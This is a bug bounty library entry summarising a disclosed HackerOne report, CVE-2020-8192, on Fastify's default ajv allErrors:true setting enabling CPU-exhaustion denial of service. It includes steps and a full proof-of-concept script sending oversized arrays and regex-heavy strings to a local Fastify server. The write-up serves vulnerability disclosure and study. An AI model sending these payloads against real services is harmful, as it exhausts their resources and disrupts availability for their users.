# Fastify uses allErrors: true ajv configuration by default which is susceptible to DoS

Fastify defaults ajv to allErrors:true, so schemas with maxItems/maxLength guards still validate entire oversized arrays/strings, enabling CPU-exhaustion DoS.

- Payout: $250
- Severity: medium
- Program: Node.js third-party modules
- Found by: chalker
- Disclosed: 2020-07-29
- CVE: CVE-2020-8192
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/903521
- Library page: https://bugbountylibrary.com/r/h1%3A903521
- Tags: area:web domain:web impact:dos kind:bounty platform:hackerone sev:medium tech:nodejs technique:default-creds technique:source-review vuln:dos

**Target:** fastify web framework JSON schema validation (ajv)
**Root cause:** Fastify configures ajv with allErrors:true by default, so validation continues after a length/size guard fails, forcing full traversal of attacker-controlled oversized inputs.
**Steps:**
1. Define schema with `{ uniqueItems: true, maxItems: 10 }` and `{ pattern: "^[^/]+@.+#$", maxLength: 20 }`
2. POST body `{ array: Array(20000).fill({x: random}) }` and `{ string: '@'.repeat(90000) }`
3. Observe ajv still iterates all elements/chars despite maxItems/maxLength failing, consuming CPU
**How found:** Read ajv security docs noting allErrors:true defeats slow-validation mitigations, then traced fastify PR #1398 that introduced the default and reasoned that maxItems/maxLength guards no longer short-circuit.
**Exploitation:** Attacker sends large JSON arrays/strings to any endpoint whose schema uses uniqueItems or slow pattern/format; allErrors:true forces full validation, exhausting CPU per request and enabling DoS.
**Insight:** When auditing frameworks, check the default validator config (allErrors, coerceTypes, removeAdditional) — schema-level guards like maxItems only short-circuit if the validator stops on first error.

## Proof of concept (copied exactly from the original report)

**Client/server PoC with slow pattern and uniqueItems payloads**

```
const fetch = require('node-fetch')
const request = body => {
  const json = JSON.stringify(body)
  console.log(`Payload size: ${Math.round(json.length / 1024)} KiB`)
  return fetch('http://127.0.0.1:3000/', {
    method: 'POST',
    headers: {
      'Content-Type': 'application/json'
    },
    body: json
  })
}

const fireRequests = async () => {
  await request({ string: '@'.repeat(90000) })
  await request({ array: Array(20000).fill().map(() => ({x: Math.random().toString(32).slice(2)})) })
}

/* Server */

const fastify = require('fastify')({ logger: true })

const schema = {
  body: {
    type: 'object',
    properties: {
      array: { uniqueItems: true, maxItems: 10 },
      string: { pattern: "^[^/]+@.+#$", maxLength: 20 },
    }
  },
}

fastify.post('/', { schema }, (request, reply) => {
  reply.send({ hello: 'world', body: request.body })
})

fastify.listen(3000, (err, address) => {
  fastify.log.info(`server listening on ${address}`)
  fireRequests()
})
```

